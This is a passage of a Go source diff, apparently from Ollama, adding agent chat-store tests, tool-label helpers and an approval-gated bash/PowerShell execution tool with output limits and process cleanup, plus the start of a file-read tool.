{Role: "user", Content: "old prompt"},
|
||||
{Role: "assistant", Content: "not user"},
|
||||
{Role: "user", Content: "middle prompt"},
|
||||
{Role: "user", Content: " "},
|
||||
{Role: "user", Content: agent.CompactionSummaryMessagePrefix + "old context"},
|
||||
{Role: "user", Content: "new prompt"},
|
||||
} {
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", msg, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
if _, err := store.db.conn.ExecContext(ctx, `UPDATE messages SET archived = 1 WHERE content = ?`, "middle prompt"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
messages, err := store.ListUserMessages(ctx, 2)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := []string{"old prompt", "new prompt"}
|
||||
if !slices.Equal(messages, want) {
|
||||
t.Fatalf("messages = %#v, want %#v", messages, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreRepairsPreAgentSchema(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "db.sqlite")
|
||||
db, err := sql.Open("sqlite3", path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := db.Exec(`
|
||||
CREATE TABLE chats (
|
||||
id TEXT PRIMARY KEY,
|
||||
title TEXT NOT NULL DEFAULT '',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
browser_state TEXT
|
||||
);
|
||||
CREATE TABLE messages (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
role TEXT NOT NULL,
|
||||
content TEXT NOT NULL DEFAULT '',
|
||||
thinking TEXT NOT NULL DEFAULT '',
|
||||
stream BOOLEAN NOT NULL DEFAULT 0,
|
||||
model_name TEXT,
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
CREATE TABLE tool_calls (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
message_id INTEGER NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
function_name TEXT NOT NULL,
|
||||
function_arguments TEXT NOT NULL,
|
||||
function_result TEXT,
|
||||
FOREIGN KEY (message_id) REFERENCES messages(id) ON DELETE CASCADE
|
||||
);
|
||||
`); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
store, err := New(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
if err := store.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
|
||||
ctx := context.Background()
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{Role: "user", Content: "hello"}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
chat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if chat.Model != "llama3.2" || len(chat.Messages) != 1 || chat.Messages[0].Content != "hello" {
|
||||
t.Fatalf("chat = %#v", chat)
|
||||
}
|
||||
|
||||
var source string
|
||||
if err := store.db.conn.QueryRowContext(ctx, `SELECT source FROM chats WHERE id = ?`, "chat-1").Scan(&source); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if source != "agent" {
|
||||
t.Fatalf("source = %q, want agent", source)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreArchivesCompactedMessages(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
for _, msg := range []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent request"},
|
||||
} {
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", msg, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := store.ArchiveForCompaction(ctx, "chat-1", 1, "summary", true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
agentChat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(agentChat.Messages) != 3 {
|
||||
t.Fatalf("active messages = %#v, want compaction pair plus latest request", agentChat.Messages)
|
||||
}
|
||||
if agentChat.Messages[0].Role != "assistant" || len(agentChat.Messages[0].ToolCalls) != 1 || agentChat.Messages[0].ToolCalls[0].Function.Name != agent.CompactionToolName {
|
||||
t.Fatalf("summary tool call = %#v", agentChat.Messages[0])
|
||||
}
|
||||
content := agentChat.Messages[1].Content
|
||||
if !strings.Contains(content, agent.CompactionContinueInstruction) {
|
||||
t.Fatalf("summary tool result missing continuation instruction: %q", content)
|
||||
}
|
||||
if agentChat.Messages[2].Content != "recent request" {
|
||||
t.Fatalf("kept message = %#v, want recent request", agentChat.Messages[2])
|
||||
}
|
||||
|
||||
var idsJSON string
|
||||
if err := store.db.conn.QueryRowContext(ctx, `
|
||||
SELECT archived_message_ids FROM compactions WHERE chat_id = ?
|
||||
`, "chat-1").Scan(&idsJSON); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var ids []int64
|
||||
if err := json.Unmarshal([]byte(idsJSON), &ids); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ids) != 2 {
|
||||
t.Fatalf("archived ids = %v, want 2 ids", ids)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const maxToolInvocationCommandRunes = 100
|
||||
|
||||
// ToolDisplayName returns the user-facing label for a tool name.
|
||||
func ToolDisplayName(name string) string {
|
||||
switch name {
|
||||
case "web_search":
|
||||
return "Web Search"
|
||||
case "web_fetch":
|
||||
return "Web Fetch"
|
||||
case "bash":
|
||||
return "Bash"
|
||||
case "powershell":
|
||||
return "PowerShell"
|
||||
case "read":
|
||||
return "Read"
|
||||
case "list":
|
||||
return "List"
|
||||
case "edit":
|
||||
return "Edit"
|
||||
case "skill":
|
||||
return "Skill"
|
||||
default:
|
||||
if name == "" {
|
||||
return "Tool"
|
||||
}
|
||||
return name
|
||||
}
|
||||
}
|
||||
|
||||
// ToolInvocationLabel returns a compact user-facing label for a tool call.
|
||||
func ToolInvocationLabel(name string, args map[string]any) string {
|
||||
displayName := ToolDisplayName(name)
|
||||
for _, key := range []string{"query", "url", "command", "path", "name"} {
|
||||
if value, ok := displayStringArg(args, key); ok {
|
||||
if IsShellToolName(name) && key == "command" {
|
||||
value = truncateDisplayRunes(value, maxToolInvocationCommandRunes)
|
||||
}
|
||||
return fmt.Sprintf("%s(%s)", displayName, strconv.Quote(value))
|
||||
}
|
||||
}
|
||||
if len(args) == 0 {
|
||||
return displayName
|
||||
}
|
||||
return fmt.Sprintf("%s(%s)", displayName, formatDisplayArgs(args))
|
||||
}
|
||||
|
||||
// IsShellToolName reports whether name identifies a platform shell tool.
|
||||
func IsShellToolName(name string) bool {
|
||||
return name == "bash" || name == "powershell"
|
||||
}
|
||||
|
||||
func displayStringArg(args map[string]any, key string) (string, bool) {
|
||||
value, ok := args[key].(string)
|
||||
if !ok || strings.TrimSpace(value) == "" {
|
||||
return "", false
|
||||
}
|
||||
return value, true
|
||||
}
|
||||
|
||||
func truncateDisplayRunes(value string, limit int) string {
|
||||
runes := []rune(value)
|
||||
if limit <= 0 || len(runes) <= limit {
|
||||
return value
|
||||
}
|
||||
return string(runes[:limit]) + "..."
|
||||
}
|
||||
|
||||
func formatDisplayArgs(args map[string]any) string {
|
||||
keys := make([]string, 0, len(args))
|
||||
for key := range args {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
parts := make([]string, 0, len(keys))
|
||||
for _, key := range keys {
|
||||
value := fmt.Sprintf("%v", args[key])
|
||||
value = truncateDisplayRunes(value, 100)
|
||||
parts = append(parts, fmt.Sprintf("%s=%s", key, strconv.Quote(value)))
|
||||
}
|
||||
return strings.Join(parts, ", ")
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestToolInvocationLabelTruncatesLongBashCommand(t *testing.T) {
|
||||
command := strings.Repeat("a", 101)
|
||||
label := ToolInvocationLabel("bash", map[string]any{"command": command})
|
||||
want := `Bash("` + strings.Repeat("a", 100) + `...")`
|
||||
if label != want {
|
||||
t.Fatalf("label = %q, want %q", label, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolInvocationLabelCountsRunes(t *testing.T) {
|
||||
command := strings.Repeat("界", 101)
|
||||
label := ToolInvocationLabel("bash", map[string]any{"command": command})
|
||||
want := `Bash("` + strings.Repeat("界", 100) + `...")`
|
||||
if label != want {
|
||||
t.Fatalf("label = %q, want %q", label, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolInvocationLabelTruncatesLongPowerShellCommand(t *testing.T) {
|
||||
command := strings.Repeat("a", 101)
|
||||
label := ToolInvocationLabel("powershell", map[string]any{"command": command})
|
||||
want := `PowerShell("` + strings.Repeat("a", 100) + `...")`
|
||||
if label != want {
|
||||
t.Fatalf("label = %q, want %q", label, want)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
const (
|
||||
bashTimeout = 3 * time.Minute
|
||||
maxBashOutputBytes = 60_000
|
||||
)
|
||||
|
||||
type Bash struct{}
|
||||
|
||||
func NewBash() *Bash {
|
||||
return &Bash{}
|
||||
}
|
||||
|
||||
func (b *Bash) Name() string {
|
||||
return shellToolName()
|
||||
}
|
||||
|
||||
func (b *Bash) Description() string {
|
||||
return shellToolDescription()
|
||||
}
|
||||
|
||||
func (b *Bash) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("command", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: shellCommandDescription(),
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: b.Name(),
|
||||
Description: b.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"command"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (b *Bash) RequiresApproval(map[string]any) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (b *Bash) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
command, ok := args["command"].(string)
|
||||
if !ok || strings.TrimSpace(command) == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("command parameter is required")
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, bashTimeout)
|
||||
defer cancel()
|
||||
|
||||
cwdFile, err := os.CreateTemp("", "ollama-agent-cwd-*")
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
cwdPath := cwdFile.Name()
|
||||
_ = cwdFile.Close()
|
||||
defer os.Remove(cwdPath)
|
||||
|
||||
cmd := newBashCommand(ctx, command, cwdPath)
|
||||
cmd.Cancel = func() error {
|
||||
return killBashCommand(cmd)
|
||||
}
|
||||
if toolCtx.WorkingDir != "" {
|
||||
cmd.Dir = toolCtx.WorkingDir
|
||||
}
|
||||
|
||||
var stdout, stderr boundedOutput
|
||||
stdout.Limit = maxBashOutputBytes
|
||||
stderr.Limit = maxBashOutputBytes
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
err = runBashCommand(cmd)
|
||||
finalWorkingDir := readFinalWorkingDir(cwdPath)
|
||||
|
||||
var sb strings.Builder
|
||||
if stdout.Len() > 0 {
|
||||
sb.WriteString(stdout.String("stdout"))
|
||||
}
|
||||
if stderr.Len() > 0 {
|
||||
if sb.Len() > 0 {
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
sb.WriteString("stderr:\n")
|
||||
sb.WriteString(stderr.String("stderr"))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
if ctx.Err() == context.DeadlineExceeded {
|
||||
return agent.ToolResult{Content: sb.String() + "\n\nError: command timed out after " + bashTimeout.String(), WorkingDir: finalWorkingDir}, nil
|
||||
}
|
||||
if ctx.Err() == context.Canceled {
|
||||
return agent.ToolResult{Content: sb.String() + "\n\nError: command was canceled", WorkingDir: finalWorkingDir}, nil
|
||||
}
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
return agent.ToolResult{Content: sb.String() + fmt.Sprintf("\n\nExit code: %d", exitErr.ExitCode()), WorkingDir: finalWorkingDir}, nil
|
||||
}
|
||||
return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, fmt.Errorf("executing command: %w", err)
|
||||
}
|
||||
|
||||
if sb.Len() == 0 {
|
||||
return agent.ToolResult{Content: "(no output)", WorkingDir: finalWorkingDir}, nil
|
||||
}
|
||||
return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, nil
|
||||
}
|
||||
|
||||
func readFinalWorkingDir(path string) string {
|
||||
content, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
workingDir := strings.TrimPrefix(string(content), "\ufeff")
|
||||
workingDir = strings.TrimSpace(workingDir)
|
||||
if workingDir == "" {
|
||||
return ""
|
||||
}
|
||||
workingDir = normalizeBashWorkingDir(workingDir)
|
||||
info, err := os.Stat(workingDir)
|
||||
if err != nil || !info.IsDir() {
|
||||
return ""
|
||||
}
|
||||
return workingDir
|
||||
}
|
||||
|
||||
func normalizeBashWorkingDir(workingDir string) string {
|
||||
if runtime.GOOS == "windows" && len(workingDir) >= 3 && workingDir[0] == '/' && workingDir[2] == '/' && isASCIIAlpha(workingDir[1]) {
|
||||
workingDir = strings.ToUpper(string(workingDir[1])) + ":" + workingDir[2:]
|
||||
}
|
||||
workingDir = filepath.Clean(filepath.FromSlash(workingDir))
|
||||
if runtime.GOOS == "windows" && len(workingDir) >= 2 && workingDir[1] == ':' && isASCIIAlpha(workingDir[0]) {
|
||||
workingDir = strings.ToUpper(string(workingDir[0])) + workingDir[1:]
|
||||
}
|
||||
return workingDir
|
||||
}
|
||||
|
||||
func isASCIIAlpha(b byte) bool {
|
||||
return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
|
||||
}
|
||||
|
||||
func shellQuote(value string) string {
|
||||
return "'" + strings.ReplaceAll(value, "'", "'\\''") + "'"
|
||||
}
|
||||
|
||||
type boundedOutput struct {
|
||||
Limit int
|
||||
buf strings.Builder
|
||||
omitted int
|
||||
}
|
||||
|
||||
func (b *boundedOutput) Write(p []byte) (int, error) {
|
||||
if b.Limit <= 0 {
|
||||
b.omitted += len(p)
|
||||
return len(p), nil
|
||||
}
|
||||
remaining := b.Limit - b.buf.Len()
|
||||
if remaining <= 0 {
|
||||
b.omitted += len(p)
|
||||
return len(p), nil
|
||||
}
|
||||
if len(p) <= remaining {
|
||||
b.buf.Write(p)
|
||||
return len(p), nil
|
||||
}
|
||||
b.buf.Write(p[:remaining])
|
||||
b.omitted += len(p) - remaining
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func (b *boundedOutput) Len() int {
|
||||
return b.buf.Len() + b.omitted
|
||||
}
|
||||
|
||||
func (b *boundedOutput) String(label string) string {
|
||||
content := b.buf.String()
|
||||
if b.omitted == 0 {
|
||||
return content
|
||||
}
|
||||
return content + fmt.Sprintf("\n\n[%s truncated: omitted ~%d tokens]", label, approximateTokensFromBytes(b.omitted))
|
||||
}
|
||||
|
||||
func approximateTokensFromBytes(n int) int {
|
||||
if n <= 0 {
|
||||
return 0
|
||||
}
|
||||
return max(1, (n+3)/4)
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
)
|
||||
|
||||
func TestBashReportsFinalWorkingDir(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
subdir := filepath.Join(root, "sub")
|
||||
if err := os.Mkdir(subdir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewBash().Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
|
||||
"command": shellTestCommand("cd sub && pwd", "Set-Location sub; Get-Location"),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
wantDir, err := filepath.EvalSymlinks(subdir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.WorkingDir != wantDir {
|
||||
t.Fatalf("working dir = %q, want %q", result.WorkingDir, wantDir)
|
||||
}
|
||||
if !strings.Contains(result.Content, "sub") {
|
||||
t.Fatalf("content = %q, want pwd output", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashBoundsOutputWhileRunning(t *testing.T) {
|
||||
result, err := NewBash().Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
|
||||
"command": shellTestCommand("yes x | head -c 70000", "[Console]::Out.Write(('x' * 70000))"),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(result.Content, "[stdout truncated: omitted ~") || !strings.Contains(result.Content, " tokens]") {
|
||||
t.Fatalf("content = %q, want stdout truncation marker", result.Content)
|
||||
}
|
||||
if count, want := strings.Count(result.Content, "x"), shellTestCapturedXCount(); count != want {
|
||||
t.Fatalf("captured x count = %d, want %d", count, want)
|
||||
}
|
||||
if len(result.Content) > maxBashOutputBytes+200 {
|
||||
t.Fatalf("content length = %d, want bounded output", len(result.Content))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashReportsCanceledCommand(t *testing.T) {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel()
|
||||
|
||||
result, err := NewBash().Execute(ctx, agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
|
||||
"command": shellTestCommand("sleep 10", "Start-Sleep -Seconds 10"),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(result.Content, "Error: command was canceled") {
|
||||
t.Fatalf("content = %q, want canceled message", result.Content)
|
||||
}
|
||||
if strings.Contains(result.Content, "Exit code: -1") {
|
||||
t.Fatalf("content = %q, should not mask cancellation as exit code", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func shellTestCommand(unix, windows string) string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return windows
|
||||
}
|
||||
return unix
|
||||
}
|
||||
|
||||
func shellTestCapturedXCount() int {
|
||||
if runtime.GOOS == "windows" {
|
||||
return maxBashOutputBytes
|
||||
}
|
||||
return maxBashOutputBytes / 2
|
||||
}
|
||||
|
||||
func TestReadFinalWorkingDirRejectsInvalidPaths(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cwdFile := filepath.Join(dir, "cwd")
|
||||
notDir := filepath.Join(dir, "file.txt")
|
||||
if err := os.WriteFile(notDir, []byte("not a dir"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(cwdFile, []byte(notDir+"\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := readFinalWorkingDir(cwdFile); got != "" {
|
||||
t.Fatalf("regular file cwd = %q, want empty", got)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(cwdFile, []byte(filepath.Join(dir, "missing")+"\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := readFinalWorkingDir(cwdFile); got != "" {
|
||||
t.Fatalf("missing cwd = %q, want empty", got)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(cwdFile, []byte(dir+"\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := readFinalWorkingDir(cwdFile); got != dir {
|
||||
t.Fatalf("directory cwd = %q, want %q", got, dir)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeBashWorkingDirWindowsDriveLetter(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("windows path normalization")
|
||||
}
|
||||
got := normalizeBashWorkingDir("/c/Users/jdoe/project")
|
||||
want := filepath.Clean(`C:\Users\jdoe\project`)
|
||||
if got != want {
|
||||
t.Fatalf("working dir = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//go:build !windows
|
||||
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func shellToolName() string {
|
||||
return "bash"
|
||||
}
|
||||
|
||||
func shellToolDescription() string {
|
||||
return "Execute a bash command on the system. Use this to inspect files, run tests, and perform development tasks."
|
||||
}
|
||||
|
||||
func shellCommandDescription() string {
|
||||
return "The bash command to execute."
|
||||
}
|
||||
|
||||
func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
|
||||
script := command + "\n__ollama_status=$?\npwd -P > " + shellQuote(cwdPath) + "\nexit $__ollama_status"
|
||||
cmd := exec.CommandContext(ctx, "bash", "-c", script)
|
||||
configureBashCommand(cmd)
|
||||
return cmd
|
||||
}
|
||||
|
||||
func configureBashCommand(cmd *exec.Cmd) {
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
|
||||
}
|
||||
|
||||
func runBashCommand(cmd *exec.Cmd) error {
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func killBashCommand(cmd *exec.Cmd) error {
|
||||
if cmd == nil || cmd.Process == nil {
|
||||
return nil
|
||||
}
|
||||
_ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
//go:build !windows
|
||||
|
||||
package tools
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestConfigureBashCommandSetsProcessGroup(t *testing.T) {
|
||||
cmd := exec.Command("bash", "-c", "true")
|
||||
configureBashCommand(cmd)
|
||||
if cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid {
|
||||
t.Fatalf("configureBashCommand should start bash in a new process group")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
//go:build windows
|
||||
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var bashJobHandles sync.Map
|
||||
|
||||
func shellToolName() string {
|
||||
return "powershell"
|
||||
}
|
||||
|
||||
func shellToolDescription() string {
|
||||
return "Execute a PowerShell command on the system. Use this to inspect files, run tests, and perform development tasks."
|
||||
}
|
||||
|
||||
func shellCommandDescription() string {
|
||||
return "The PowerShell command to execute."
|
||||
}
|
||||
|
||||
func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
|
||||
return exec.CommandContext(
|
||||
ctx,
|
||||
"powershell.exe",
|
||||
"-NoLogo",
|
||||
"-NoProfile",
|
||||
"-NonInteractive",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-Command",
|
||||
powerShellCommandScript(command, cwdPath),
|
||||
)
|
||||
}
|
||||
|
||||
func powerShellCommandScript(command, cwdPath string) string {
|
||||
cwdPath = powerShellSingleQuote(cwdPath)
|
||||
return strings.Join([]string{
|
||||
"$__ollama_status = 0",
|
||||
". {",
|
||||
"try {",
|
||||
command,
|
||||
" $__ollama_success = $?",
|
||||
" $__ollama_last_exit = $global:LASTEXITCODE",
|
||||
" if ($__ollama_success) {",
|
||||
" $__ollama_status = 0",
|
||||
" } elseif ($__ollama_last_exit -is [int] -and $__ollama_last_exit -ne 0) {",
|
||||
" $__ollama_status = $__ollama_last_exit",
|
||||
" } else {",
|
||||
" $__ollama_status = 1",
|
||||
" }",
|
||||
"} catch {",
|
||||
" Write-Error $_",
|
||||
" $__ollama_status = 1",
|
||||
"} finally {",
|
||||
" try { [System.IO.File]::WriteAllText(" + cwdPath + ", (Get-Location).ProviderPath, [System.Text.Encoding]::UTF8) } catch {}",
|
||||
"}",
|
||||
"} | Out-String -Stream",
|
||||
"exit $__ollama_status",
|
||||
}, "\n")
|
||||
}
|
||||
|
||||
func powerShellSingleQuote(value string) string {
|
||||
return "'" + strings.ReplaceAll(value, "'", "''") + "'"
|
||||
}
|
||||
|
||||
func runBashCommand(cmd *exec.Cmd) error {
|
||||
if err := cmd.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
if job, err := createBashJob(cmd.Process.Pid); err == nil {
|
||||
bashJobHandles.Store(cmd.Process.Pid, job)
|
||||
defer releaseBashJob(cmd.Process.Pid)
|
||||
}
|
||||
return cmd.Wait()
|
||||
}
|
||||
|
||||
func killBashCommand(cmd *exec.Cmd) error {
|
||||
if cmd == nil || cmd.Process == nil {
|
||||
return nil
|
||||
}
|
||||
releaseBashJob(cmd.Process.Pid)
|
||||
_ = cmd.Process.Kill()
|
||||
return nil
|
||||
}
|
||||
|
||||
func createBashJob(pid int) (windows.Handle, error) {
|
||||
job, err := windows.CreateJobObject(nil, nil)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
info := windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION{}
|
||||
info.BasicLimitInformation.LimitFlags = windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
|
||||
if _, err := windows.SetInformationJobObject(
|
||||
job,
|
||||
windows.JobObjectExtendedLimitInformation,
|
||||
uintptr(unsafe.Pointer(&info)),
|
||||
uint32(unsafe.Sizeof(info)),
|
||||
); err != nil {
|
||||
_ = windows.CloseHandle(job)
|
||||
return 0, err
|
||||
}
|
||||
|
||||
process, err := windows.OpenProcess(windows.PROCESS_SET_QUOTA|windows.PROCESS_TERMINATE, false, uint32(pid))
|
||||
if err != nil {
|
||||
_ = windows.CloseHandle(job)
|
||||
return 0, err
|
||||
}
|
||||
defer windows.CloseHandle(process)
|
||||
|
||||
if err := windows.AssignProcessToJobObject(job, process); err != nil {
|
||||
_ = windows.CloseHandle(job)
|
||||
return 0, err
|
||||
}
|
||||
return job, nil
|
||||
}
|
||||
|
||||
func releaseBashJob(pid int) {
|
||||
value, ok := bashJobHandles.LoadAndDelete(pid)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if job, ok := value.(windows.Handle); ok {
|
||||
_ = windows.CloseHandle(job)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,577 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
const (
|
||||
maxReadBytes = 200000
|
||||
)
|
||||
|
||||
type Read struct{}
|
||||
|
||||
func NewRead() *Read {
|
||||
return &Read{}
|
||||
}
|
||||
|
||||
func (r *Read) Name() string {
|
||||
return "read"
|
||||
}
|
||||
|
||||
func (r *Read) Description() string {
|
||||
return "Read a text file from the current working directory."
|
||||
}
|
||||
|
||||
func (r *Read) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("path", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "Path to the file to read, relative to the working directory.",
|
||||
})
|
||||
props.Set("start_line", api.ToolProperty{
|
||||
Type: api.PropertyType{"integer"},
|
||||
Description: "Optional 1-based line to start reading from.",
|
||||
})
|
||||
props.Set("end_line", api.ToolProperty{
|
||||
Type: api.PropertyType{"integer"},
|
||||
Description: "Optional 1-based inclusive line to stop reading at.",
|
||||
})
|
||||
props.Set("line_count", api.ToolProperty{
|
||||
Type: api.PropertyType{"integer"},
|
||||
Description: "Optional maximum number of lines to read, starting at start_line or line 1.",
|
||||
})
|
||||
props.Set("line_range", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: `Optional 1-based inclusive range like "10-40", "10:40", "10..40", "10-", or "10".`,
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: r.Name(),
|
||||
Description: r.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"path"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Read) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
path, ok := args["path"].(string)
|
||||
if !ok || strings.TrimSpace(path) == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("path parameter is required")
|
||||
}
|
||||
|
||||
file, info, err := openRegularFile(toolCtx.WorkingDir, path)
|
||||
if err != nil {
|
